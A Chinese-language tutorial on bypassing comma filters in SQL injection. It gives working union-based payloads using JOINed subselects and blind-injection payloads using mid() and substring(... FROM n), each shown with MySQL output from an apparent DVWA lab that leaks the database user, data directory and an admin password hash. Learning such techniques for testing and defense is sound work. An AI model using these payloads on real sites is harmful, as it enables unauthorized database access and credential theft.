SQL注入技巧之显注与盲注中过滤逗号绕过详析
前言
sql注入在很早很早以前是很常见的一个漏洞。后来随着安全水平的提高,sql注入已经很少能够看到了。但是就在今天,还有很多网站带着sql注入漏洞在运行。下面这篇文章主要介绍了关于SQL注入逗号绕过的相关内容,分享出来供大家参考学习,下面话不多说了,来一起看看详细的介绍吧
1.联合查询显注绕过逗号
在联合查询时使用 UNION SELECT 1,2,3,4,5,6,7..n 这样的格式爆显示位,语句中包含了多个逗号,如果有WAF拦截了逗号时,我们的联合查询不能用了。
绕过
在显示位上替换为常见的注入变量或其它语句
union select 1,2,3; union select * from ((select 1)A join (select 2)B join (select 3)C); union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);
在数据库中演示联合查询
UNION开始是我们在URL中注入的语句,这里只是演示,在实际中如果我们在注入语句中有逗号就可能被拦截
mysql> select user_id,user,password from users union select 1,2,3; +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | 1 | 2 | 3 | +---------+-------+----------------------------------+ 2 rows in set (0.04 sec)
不出现逗号,使用Join来注入
mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select 3)C); +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | 1 | 2 | 3 | +---------+-------+----------------------------------+ 2 rows in set (0.05 sec)
查询我们想要的数据
mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);; +---------+-------+-------------------------------------------------+ | user_id | user | password | +---------+-------+-------------------------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | 1 | 2 | root@192.168.228.1 dvwa c:\phpStudy\MySQL\data\ | +---------+-------+-------------------------------------------------+ 2 rows in set (0.08 sec)
2.盲注中逗号绕过
MID 和substr 函数用于从文本字段中提取字符
mysql> select mid(user(),1,2); +-----------------+ | mid(user(),1,2) | +-----------------+ | ro | +-----------------+ 1 row in set (0.04 sec)
查询数据库用户名第一个字符的ascii码
mysql> select user_id,user,password from users union select ascii(mid(user(),1,2)),2,3; +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | 114 | 2 | 3 | +---------+-------+----------------------------------+ 2 rows in set (0.05 sec)
盲注,通过猜ascii值
mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=115) ; Empty set mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=114) ; +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | +---------+-------+----------------------------------+ 1 row in set (0.04 sec)
逗号绕过SUBTTRING 函数
substring(str FROM pos)
从字符串str的起始位置pos 返回一个子串
mysql> select substring('hello' from 1); +---------------------------+ | substring('hello' from 1) | +---------------------------+ | hello | +---------------------------+ 1 row in set (0.04 sec) mysql> select substring('hello' from 2); +---------------------------+ | substring('hello' from 2) | +---------------------------+ | ello | +---------------------------+ 1 row in set (0.03 sec)
注入
mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=114) ; Empty set //substring(user() from 2)为o //o的ascii为111, mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=111) ; +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | +---------+-------+----------------------------------+ 1 row in set (0.03 sec)
总结
以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,如果有疑问大家可以留言交流,谢谢大家对我们的支持。
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